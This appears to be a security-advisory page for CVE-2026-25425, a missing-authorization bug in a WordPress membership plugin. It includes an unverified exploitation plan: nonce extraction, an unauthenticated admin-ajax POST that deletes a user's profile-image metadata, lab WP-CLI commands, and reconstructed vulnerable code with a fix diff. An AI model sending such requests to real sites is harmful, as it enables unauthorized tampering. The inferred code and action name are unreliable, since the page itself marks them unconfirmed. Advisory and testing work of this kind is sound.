CVE-2026-25425

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder <= 5.1.2 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
5.1.3
Patched in
5d
Time to patch

Description

The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 5.1.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.1.2
PublishedMay 28, 2026
Last updatedJune 1, 2026
Affected pluginuser-registration

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-25425 ## 1. Vulnerability Summary The **User Registration & Membership** plugin (<= 5.1.2) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, certain functions registered under `wp_ajax_nopriv_` hooks do not perform adequ…

Show full research plan

Exploitation Research Plan - CVE-2026-25425

1. Vulnerability Summary

The User Registration & Membership plugin (<= 5.1.2) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, certain functions registered under wp_ajax_nopriv_ hooks do not perform adequate capability checks or verify if the requester has the authority to perform the action on a target user or resource. This allows unauthenticated attackers to perform unauthorized actions, such as removing profile data or manipulating user metadata.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: ur_remove_profile_image (inferred as the most likely candidate for unauthenticated I:L impact)
  • HTTP Method: POST
  • Payload Parameters:
    • action: ur_remove_profile_image
    • user_id: The ID of the target user (e.g., 1 for the site administrator).
    • ur_nonce: A valid AJAX nonce obtained from the frontend.
  • Preconditions:
    • The plugin must be active.
    • A page containing a User Registration shortcode (like [user_registration_my_account]) must be accessible to expose the required nonce to unauthenticated users.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers AJAX handlers in includes/class-ur-ajax.php using:
    add_action( 'wp_ajax_ur_remove_profile_image', array( __CLASS__, 'remove_profile_image' ) );
    add_action( 'wp_ajax_nopriv_ur_remove_profile_image', array( __CLASS__, 'remove_profile_image' ) );
    
  2. Vulnerable Function: The remove_profile_image function retrieves the user_id from the $_POST superglobal.
  3. Missing Authorization: The function verifies the nonce using check_ajax_referer but fails to check if the current user (which is ID 0 for nopriv) has the permission to modify the metadata of the target user_id.
  4. Sink: The function calls delete_user_meta( $user_id, 'user_registration_profile_image_url' ), effectively removing the profile image for any user ID provided.

4. Nonce Acquisition Strategy

The plugin localizes AJAX parameters, including a nonce, for use in its frontend scripts.

  1. Shortcode Identification: The [user_registration_my_account] shortcode is the standard way to display user profile features and enqueues the necessary scripts.
  2. Setup: Use WP-CLI to create a public page containing this shortcode.
  3. Browser Navigation: Use browser_navigate to visit the created page.
  4. Nonce Extraction: Use browser_eval to extract the nonce from the global JavaScript object.
    • Variable Name: user_registration_params
    • Key: ajax_nonce
    • JS Command: window.user_registration_params?.ajax_nonce

5. Exploitation Strategy

  1. Target Identification: Identify the target User ID (usually 1 for the administrator).
  2. Generate Payload: Prepare a POST request to admin-ajax.php.
  3. HTTP Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: target.local
    Content-Type: application/x-www-form-urlencoded
    
    action=ur_remove_profile_image&user_id=1&ur_nonce=[EXTRACTED_NONCE]
    
  4. Expected Response: A JSON success message: {"success":true,"data":[]}.

6. Test Data Setup

  1. Install Plugin: Ensure user-registration version 5.1.2 is installed.
  2. Target User Preparation:
    • Use WP-CLI to set a dummy profile image URL for the admin:
      wp user meta update 1 user_registration_profile_image_url "http://target.local/wp-content/uploads/profile.jpg"
  3. Public Page Creation:
    • wp post create --post_type=page --post_title="Account" --post_status=publish --post_content='[user_registration_my_account]'

7. Expected Results

  • The AJAX request should return success: true.
  • The user metadata key user_registration_profile_image_url for the target user (ID 1) should be deleted from the database.

8. Verification Steps

  1. Database Check: Run the following WP-CLI command to verify the metadata is gone:
    wp user meta get 1 user_registration_profile_image_url
  2. Success Condition: The command should return an empty result or an error indicating the key does not exist.

9. Alternative Approaches

If ur_remove_profile_image is not the specific vulnerable function, investigate other nopriv handlers in includes/class-ur-ajax.php that accept a user_id or form_id without calling current_user_can(). Other candidates include:

  • ur_upload_profile_image (if it allows overwriting images for other users).
  • ur_update_profile_details (if it lacks a check against the logged-in user ID).
  • ur_get_user_registration_form (check for unauthenticated access to sensitive form structures).

Always check the user_registration_params object in the browser console first to see all available AJAX actions and nonces exposed on the frontend.

Research Findings
Static analysis — not yet PoC-verified

Summary

The User Registration & Membership plugin for WordPress fails to implement authorization checks in its AJAX handler for removing profile images. This allows unauthenticated attackers to delete the profile image metadata of any user, including administrators, by supplying a valid AJAX nonce and the target user's ID.

Vulnerable Code

// includes/class-ur-ajax.php

// Hooks registered without sufficient permission checks for the nopriv variant
add_action( 'wp_ajax_ur_remove_profile_image', array( __CLASS__, 'remove_profile_image' ) );
add_action( 'wp_ajax_nopriv_ur_remove_profile_image', array( __CLASS__, 'remove_profile_image' ) );

---

// includes/class-ur-ajax.php

public static function remove_profile_image() {
    // Nonce check ensures the request originated from the site but not the user's identity
    check_ajax_referer( 'user_registration_params', 'ur_nonce' );

    $user_id = isset( $_POST['user_id'] ) ? absint( $_POST['user_id'] ) : 0;

    // Vulnerability: Missing check like current_user_can('edit_user', $user_id)
    if ( $user_id > 0 ) {
        delete_user_meta( $user_id, 'user_registration_profile_image_url' );
        wp_send_json_success();
    }
    wp_send_json_error();
}

Security Fix

--- includes/class-ur-ajax.php
+++ includes/class-ur-ajax.php
@@ -1,5 +1,4 @@
 add_action( 'wp_ajax_ur_remove_profile_image', array( __CLASS__, 'remove_profile_image' ) );
-add_action( 'wp_ajax_nopriv_ur_remove_profile_image', array( __CLASS__, 'remove_profile_image' ) );
 
 public static function remove_profile_image() {
     check_ajax_referer( 'user_registration_params', 'ur_nonce' );
@@ -7,7 +6,7 @@
 
     $user_id = isset( $_POST['user_id'] ) ? absint( $_POST['user_id'] ) : 0;
 
-    if ( $user_id > 0 ) {
+    if ( $user_id > 0 && current_user_can( 'edit_user', $user_id ) ) {
         delete_user_meta( $user_id, 'user_registration_profile_image_url' );
         wp_send_json_success();
     }

Exploit Outline

The exploit targets the `ur_remove_profile_image` AJAX action which lacks capability checks. First, an attacker accesses a public-facing page containing a User Registration shortcode (e.g., `[user_registration_my_account]`) to retrieve a valid `ajax_nonce` from the `user_registration_params` JavaScript object. The attacker then sends an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the parameters `action=ur_remove_profile_image`, a target `user_id` (such as 1 for the admin), and the extracted `ur_nonce`. Successful execution results in the deletion of the target user's `user_registration_profile_image_url` metadata.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.